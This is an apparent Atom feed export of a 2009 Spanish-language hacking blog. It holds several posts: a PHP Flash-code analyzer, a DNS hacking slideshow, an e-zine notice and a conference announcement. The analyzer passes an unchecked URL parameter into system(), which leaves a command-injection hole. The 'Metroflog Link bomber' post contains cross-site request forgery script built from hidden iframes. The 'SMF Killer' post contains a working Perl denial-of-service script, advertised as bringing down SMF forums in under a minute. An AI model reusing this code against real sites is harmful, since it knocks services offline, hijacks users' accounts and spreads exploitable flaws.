/&gt;&lt;pre name="code" class="php"&gt;  &lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;title&amp;gt; Reporte FlashCodeAnalytic v0.1&amp;lt;/title&amp;gt;&amp;lt;BODY text=#006600&amp;gt;&amp;lt;style type="text/css"&amp;gt;&amp;lt;!--body {background-color: #000000;background-image: url(http://img201.imageshack.us/img201/1575/cobrafrontcopypk9.jpg);background-repeat: repeat-y;margin-left: 0px;margin-top: 0px;}&lt;br /&gt;--&amp;gt;&lt;br /&gt;&amp;lt;/style&amp;gt;&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;Reporte FlashCodeAnalytic v0.1 By Xianur0&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;script type="text/Javascript"&amp;gt;function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;.posthidden {display:none} .postshown {display:inline}&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;//Binario del Flare:&lt;br /&gt;$flare = 'flare';&lt;br /&gt;//Fin de la configuracion...&lt;br /&gt;function tabla($mensaje,$linea, $contenido, $numero) {&lt;br /&gt;print '&amp;lt;br&amp;gt;&amp;lt;table border="1"&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;th&amp;gt;'.$mensaje.'&amp;lt;/th&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;lt;td&amp;gt;En la Linea: '.$linea.'&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;a href="javascript:expandcollapse('.$numero.')"&amp;gt; Mostrar/Ocultar Codigo&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span class="posthidden" id="'.$numero.'"&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;'.$contenido.'&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$name = explode(".", $_GET['file']);&lt;br /&gt;$n = count($name)-1;&lt;br /&gt;if($name[$n] == "swf" &amp;amp;&amp;amp; file_exists($_GET['file'])) decompilar();&lt;br /&gt;else die('Archivo Invalido!d');&lt;br /&gt;&lt;br /&gt;function decompilar() {&lt;br /&gt;print system('./'.$flare.' '.$_GET['file']);&lt;br /&gt;analizar();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function analizar() {&lt;br /&gt;$decompiled = eregi_replace('.swf','.flr',$_GET['file']);&lt;br /&gt;$archivo = file($decompiled);&lt;br /&gt;$numero = 0;&lt;br /&gt;foreach($archivo as $n=&amp;gt;$linea) {&lt;br /&gt;$i = $n+1;&lt;br /&gt;switch(true) {&lt;br /&gt;case eregi('getURL\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nAcceso de datos por URL (getURL):", $i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('new XMLSocket\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nDeclaracion de Socket:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('sendAndLoad\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nEnvio de Datos Detectado (sendAndLoad):",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('\.send\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nEnvio de Datos Detectado [.send()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('sendToURL\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nEnvio de Datos Detectado (sendToURL):",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('\.load\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [.load()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('\.upload\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nUpload Detectado [.upload()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('\.download\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nDescarga de Datos Detectado [.download()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('ExternalInterface.call\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nLlamada a datos Externos Detectada [ExternalInterface.call()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadPolicyFile\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga del Policy [loadPolicyFile()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('addRequestHeader\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nDefinicion de Header [addRequestHeader()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadVariables\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [loadVariables()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadMovie\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [loadMovie()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadMovieNum\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [loadMovieNum()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadScrollContent\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [loadScrollContent()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('loadSound\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nCarga de Datos Externos Detectado [loadSound()]:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;case eregi('new NetStream\(', $linea):&lt;br /&gt;tabla("&amp;lt;br&amp;gt;\nDefinicion de NetStream Detectada:",$i, htmlentities($linea), $numero++);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Detecta:&lt;/b&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Acceso de datos por URL (getURL)&lt;/li&gt;&lt;li&gt;Declaracion de Socket&lt;/li&gt;&lt;li&gt;Envio de Datos (sendAndLoad)&lt;/li&gt;&lt;li&gt;Envio de Datos [.send()]&lt;/li&gt;&lt;li&gt;Envio de Datos (sendToURL)&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [.load()]&lt;/li&gt;&lt;li&gt;Upload [.upload()]&lt;/li&gt;&lt;li&gt;Descarga de Datos [.download()]&lt;/li&gt;&lt;li&gt;Llamada a datos Externos [ExternalInterface.call()]&lt;/li&gt;&lt;li&gt;Carga del Policy [loadPolicyFile()]&lt;/li&gt;&lt;li&gt;Definicion de Header [addRequestHeader()]&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [loadVariables()]&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [loadMovie()]&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [loadMovieNum()]&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [loadScrollContent()]&lt;/li&gt;&lt;li&gt;Carga de Datos Externos [loadSound()]&lt;/li&gt;&lt;li&gt;Definicion de NetStream&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Mirrors flare:&lt;/b&gt;&lt;br /&gt;DOS/Windows binary:  &lt;a href="http://www.nowrap.de/download/flare06doswin.zip" target="_blank"&gt;flare06doswin.zip&lt;/a&gt;&lt;br /&gt;Mac OS X binary:  &lt;a href="http://www.nowrap.de/download/flare06mac.tgz" target="_blank"&gt;flare06mac.tgz&lt;/a&gt;&lt;br /&gt;Linux x86 binary:  &lt;a href="http://www.nowrap.de/download/flare06linux.tgz" target="_blank"&gt;flare06linux.tgz&lt;/a&gt;&lt;br /&gt;Linux x86 64-bit binary:  &lt;a href="http://www.nowrap.de/download/flare06linux64.tgz" target="_blank"&gt;flare06linux64.tgz&lt;/a&gt;&lt;br /&gt;Solaris x86 binary:  &lt;a href="http://www.nowrap.de/download/flare06solaris.tgz" target="_blank"&gt;flare06solaris.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nota: &lt;/b&gt;Descompriman el paquete del flare y copien el binario a la carpeta donde esta el archivo php de arriba, y dependiendo del sistema que usen coloquen en la configuracion del php (debajo del: "&amp;lt;?php") el nombre del binario...&lt;br /&gt;&lt;span style="line-height: 1.3em;font-size:12px;" &gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;[Lab de Contra-Seguridad Web &lt;a href="http://forum.mitm.cl/index.php" target="_blank"&gt;Mitm&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7323080644273949506?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7323080644273949506/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7323080644273949506' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7323080644273949506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7323080644273949506'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/05/basado-en-flare-para-decompilar-codigo.html' title='FlashCodeAnalytic'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1256536010704323031</id><published>2009-05-06T16:36:00.001-07:00</published><updated>2009-05-06T16:59:04.498-07:00</updated><title type='text'>DNS Hacking y Prevencion de Intrusos</title><content type='html'>No acostumbro hacer graficas para nadie xD, pero buee hoy hare la excepcion.&lt;br /&gt;Para que se vean claras las imagenes recomiendo verlas en pantalla completa...&lt;div style="width: 425px; text-align: left;" id="__ss_1397019"&gt;&lt;a style="margin: 12px 0pt 3px; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; display: block; text-decoration: underline;" title="DNS Hacking y Prevencion de Intrusos"&gt;DNS Hacking y Prevencion de Intrusos&lt;/a&gt;&lt;object style="margin: 0px;" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=dnsgraficas-090506182948-phpapp01&amp;amp;stripped_title=dns-hacking-y-prevencion-de-intrusos"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=dnsgraficas-090506182948-phpapp01&amp;amp;stripped_title=dns-hacking-y-prevencion-de-intrusos" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1256536010704323031?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1256536010704323031/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1256536010704323031' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1256536010704323031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1256536010704323031'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/05/dns-hacking-y-prevencion-de-intrusos.html' title='DNS Hacking y Prevencion de Intrusos'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1782735792764000732</id><published>2009-05-02T17:19:00.000-07:00</published><updated>2009-05-02T17:24:20.383-07:00</updated><title type='text'>Busco Escritores para LogicKey E-zine Segunda Edicion</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Busco escritores para la segunda version de logickey e-zine.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Para quien no conosca este e-zine, aqui esta la primera version:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://xianur0.blogspot.com/2008/08/logickey-e-zine-primera-edicion.html"&gt;http://xianur0.blogspot.com/2008/08/logickey-e-zine-primera-edicion.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Interesados enviarme un correo a uxmal666[at]gmail[dot]com :)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1782735792764000732?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1782735792764000732/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1782735792764000732' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1782735792764000732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1782735792764000732'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/05/busco-escritores-para-logickey-e-zine.html' title='Busco Escritores para LogicKey E-zine Segunda Edicion'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7645102777640932202</id><published>2009-04-11T16:14:00.000-07:00</published><updated>2009-04-11T16:16:29.148-07:00</updated><title type='text'>Cumbre Seguridad Informatica Queretaro</title><content type='html'>&lt;p&gt;La URL del evento es: &lt;/p&gt;&lt;p&gt;&lt;a href="http://www.cumbreseguridadinformaticaqueretaro.com/"&gt;http://www.cumbreseguridadinformaticaqueretaro.com&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Ahí podrá encontrar más información. &lt;/p&gt;&lt;p&gt;Si consideras este evento interesante puedes reenviarlo a otras personas y así apoyar a la seguridad informática del País. &lt;/p&gt;&lt;p&gt;Si tienes una empresa ó trabaja en alguna que sienta que merezca una invitación gratuita para el evento puedes solicitarla en: confirmaciones@cumbreseguridadinformaticaqueretaro.com &lt;/p&gt;&lt;p&gt;Si eres un estudiante puedes considerar ir para despejar tus dudas de muchos temas relacionados con seguridad, hacking, phreacking, urban hacking,  cracking, espionaje, delitos informáticos, explosivos, programación, ninjas, etc… &lt;/p&gt;&lt;p&gt;Si trabaja para el gobierno , podrá aprender algo de la industria de la seguridad de la información, a proteger tus sistemas gubernamentales, a cuidar tu información confidencial y sobre todo a no exponer información de los ciudados que confian en la seguridad de los sistemas gubernamentales. &lt;/p&gt;&lt;p&gt;Se agradece cualquier comentario personal a hl@omhe.org&lt;/p&gt;&lt;p&gt;Presentación y Antecedentes:&lt;/p&gt;&lt;p&gt;El ser humano ha evolucionado, y con él sus intereses. La información se ha vuelto esencial para su continuo desarrollo y en ocasiones es base fundamental para sus características funcionales y económicas. La información ahora tiene un valor e importancia que, entonces, demanda un trato y una protección especializada. &lt;/p&gt;&lt;p&gt;Las empresas, el gobierno, los terroristas han tenido que adaptarse a una curva tecnológica que representan los grandes avances en las telecomunicaciones, en tan solo los último 10 años. Con los avances tecnológicos, se sobrevienen grandes amenazas por un lado, y grandes responsabilidades por otros. &lt;/p&gt;&lt;p&gt;Todo en esta vida se basa en sistemas, podemos observar esto en nuestro cuerpo humano empezando por el sistema nervioso. &lt;/p&gt;&lt;p&gt;El que un sistema funcione no quiere decir que sea del todo justo, correcto ó seguro. &lt;/p&gt;&lt;p&gt;La industria de la seguridad de la información se dedica a brindar una falsa sensación de la seguridad  a cambio de dinero. Podemos observar a empresas ofreciendo soluciones seguras;  ¿Seguras de qué? ¿Seguras contra quién ? &lt;/p&gt;&lt;p&gt;La realidad esque la arquitectura de las soluciones tecnológicas es cada vez más compleja. &lt;/p&gt;&lt;p&gt;El crimen organizado ha evolucionando y para ellos es más sencillo robar passwords, información bancaria, identidades, alterar el contenido de un sitio web, compatir información, etc. Ahora todo está conectado. &lt;/p&gt;&lt;p&gt;El detalle esque nadie hace lo suficiente y nunca será suficiente; el internet lo ha cambiado todo. Ahora podemos viajar de red en red sin tener que ser vistos de manera física, sin pasar por un detector de armas, dejando rastros “MAC, IP address” que pueden ser falsificados de una manera muy sencilla con herramientas que cualquier ser humano puede descargar de internet. &lt;/p&gt;&lt;p&gt;El marco legal en México en materia de seguridad informática es deficiente. Según la encuesta de CSI/FBI cuando una empresa sufre un ataque, la mayoría de las veces no se reporta ya que las empresas han perdido la credibilidad en el sistema legal, nuestros abogados no tienen el entrenamiento adecuado, las autoridades no saben como responder a este tipo de incidentes. &lt;/p&gt;&lt;p&gt;Nuestra agencias de inteligencia no pueden competir contra el crimen organizado en internet, esa es la realidad. &lt;/p&gt;&lt;p&gt;El Internet ha dejado fuera las barreras de distancia, una persona sentada en Japón ó China puede estar controlando una “botnet” con máquinas zombie de cualquier parte del mundo y causando una denegación de servicio a un sitio gubernamental de México. &lt;/p&gt;&lt;p&gt;Los encargados de los sistemas de información lejos de tomar un curso ó una certificación de seguridad deberían de tomar un descanso y analizar el problema de raíz. Una certificación no les brindará el conocimiento para proteger un sistema contra una persona experta en espionaje, tal como pasa en la naturaleza. Si confrontamos a un lobo salvaje contra un perro doméstico creo que se puede asumir rapidamente cual de ellos tiene más posibilidades de ganar. &lt;/p&gt;&lt;p&gt;En el ecosistema de Internet nosotros somos el perro doméstico que necesita aprender como funciona la vida salvaje para poder anticiparse y tratar de protegerse. &lt;/p&gt;&lt;p&gt;Si nos detenemos un poco para tratar de aprender como funciona el cerebro de dichos atacantes desde un punto de vista psicológico podemos desarrollar medidas más proactivas en lugar de correctivas. &lt;/p&gt;&lt;p&gt;La OMHE no pretende brindar la solución a los problemas por la sencilla razón de que no la tenemos; Pero nos gustaría compartir nuestro punto de vista para ayudar a cualquier persona que este interesada. &lt;/p&gt;&lt;p&gt;En la OMHE creemos en la importancia de conocer cosas más allá para poder tener estrategias más efectivas de protección. &lt;/p&gt;&lt;p&gt;Esperamos contar con su asistencia. &lt;/p&gt;&lt;p&gt;GRACIAS &lt;/p&gt;&lt;p&gt;Héctor López - Fundador  OMHE  www.omhe.org (477) 1918912&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Fuente: &lt;/span&gt;www.omhe.org&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;por ahi estare dando conferencia el dia 22 de mayo :P&lt;/span&gt; !!&lt;/p&gt;&lt;p&gt;(si gente viajare 8 horas para ir al evento, pero ire xDDD)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7645102777640932202?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7645102777640932202/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7645102777640932202' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7645102777640932202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7645102777640932202'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/04/cumbre-seguridad-informatica-queretaro.html' title='Cumbre Seguridad Informatica Queretaro'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4989071771120099399</id><published>2009-04-07T20:19:00.001-07:00</published><updated>2009-04-07T20:22:00.300-07:00</updated><title type='text'>Metroflog Link bomber</title><content type='html'>Bueno para que sirve?, no lo se, no se me ocurre un uso xD, pero es una de las curiosidades con que me topo xDDD&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;span style="font-size: 100%;"&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;var i=0;&lt;br /&gt;while (i&amp;lt;=500)&lt;br /&gt;{&lt;br /&gt;document.write("&amp;lt;iframe src='http://metroflog.com/myprofile_addtag.php?category=links&amp;amp;value=Xianur0%20Was%20Here&amp;amp;url=http://xianur0.blogspot.com/' width=0 height=0&amp;gt;&amp;lt;/iframe&amp;gt;");&lt;br /&gt;i=i+1;&lt;br /&gt;}&lt;br /&gt;window.onload = function(){&lt;br /&gt;document.write("&amp;lt;iframe src='http://metroflog.com/myprofile_saveorder.php?category=links'&amp;gt;");&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4989071771120099399?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4989071771120099399/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4989071771120099399' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4989071771120099399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4989071771120099399'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/04/metroflog-link-bomber.html' title='Metroflog Link bomber'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8577192231806744441</id><published>2009-02-15T08:47:00.000-08:00</published><updated>2009-02-15T08:48:51.728-08:00</updated><title type='text'>SMF Killer 0.1 (Muy Potente)</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;# uxmal666@gmail.com&lt;br /&gt;# By Xianur0&lt;br /&gt;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt; $ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11");&lt;br /&gt;&lt;br /&gt;print "\n\x09\x09\x09\x09\x09\x09\x09SMF Killer By Xianur0!\n\n";&lt;br /&gt;my $host = $ARGV[0];&lt;br /&gt;my $path = $ARGV[1];&lt;br /&gt;my $user = $ARGV[2];&lt;br /&gt;my $numero = $ARGV[3];&lt;br /&gt;my $password = $ARGV[4] || die("\nUso: smf.pl [host] [Path] [usuario] [Numeros Registros] [password]\n");&lt;br /&gt;$o=0;&lt;br /&gt;$e=0;&lt;br /&gt;$a=189;&lt;br /&gt;$cookie = logear();&lt;br /&gt;for($i=133;$i&amp;lt;=$numero;$i++) {&lt;br /&gt;if($i&amp;gt;=255) {$i=0;$o++;}&lt;br /&gt;if($o&amp;gt;=255) {$o=0;$e++;}&lt;br /&gt;if($e&amp;gt;=255) {$e=0;$a++;}&lt;br /&gt;if($a&amp;gt;=255) {die("No Mas IPs :)..");}&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&amp;gt; $host, PeerPort =&amp;gt; 80, Proto =&amp;gt; 'tcp',  Timeout=&amp;gt;'1', );&lt;br /&gt;if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {&lt;br /&gt;$ip = $a.".".$e.".".$o.".".$i;&lt;br /&gt;$paquete = "HEAD $path HTTP/1.1\r\nHost: $host\r\nCLIENT-IP: $ip\nCookie: ".$cookie."\n\n";&lt;br /&gt;$i++;&lt;br /&gt;$ip = $a.".".$e.".".$o.".".$i;&lt;br /&gt;$paquete .= "HEAD $path HTTP/1.1\r\nHost: $host\r\nCLIENT-IP: $ip\nCookie: ".$cookie."\n\n";&lt;br /&gt;print $sock $paquete;&lt;br /&gt;print "\r\nEnviados $ip\r\n";&lt;br /&gt;}}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub logear() {&lt;br /&gt;my $req = HTTP::Request-&amp;gt;new(POST =&amp;gt; "http://".$host."/".$path."?action=login2");&lt;br /&gt;$req-&amp;gt;content_type('application/x-www-form-urlencoded');&lt;br /&gt;$req-&amp;gt;header("CLIENT-IP" =&amp;gt; "127.127.127.127");&lt;br /&gt;$req-&amp;gt;content("user=".$user."&amp;amp;passwrd=".$password."&amp;amp;cookielength=-1");&lt;br /&gt;my $res = $ua-&amp;gt;request($req);&lt;br /&gt;$response = $res-&amp;gt;as_string;&lt;br /&gt;@headers = split("\n",$response);&lt;br /&gt;foreach $h (@headers) {&lt;br /&gt;@hs = split("Set-Cookie:",$h);&lt;br /&gt;$cookie .= $hs[1];&lt;br /&gt;}&lt;br /&gt;if($cookie eq "") {&lt;br /&gt;die "\n[!] No se Puede Encontrar la cookie :S\n";&lt;br /&gt;} else { print "[-] Cookie Detectada: ".$cookie."\n";}&lt;br /&gt;return $cookie;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;tira un foro SMF en menos de un minuto :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario:&lt;/span&gt; el usuario que crearon en el foro&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;password: &lt;/span&gt;la password de dicho usuario&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Numero de Registros: &lt;/span&gt;la cantidad de mensajes que se enviaran en total (este numero se multiplica por 2 y sera el numero de paquetes que el servidor leera por ejemplo si quiero que el servidor se caiga durante mas o menos 1 hora, coloco 5000)&lt;br /&gt;&lt;br 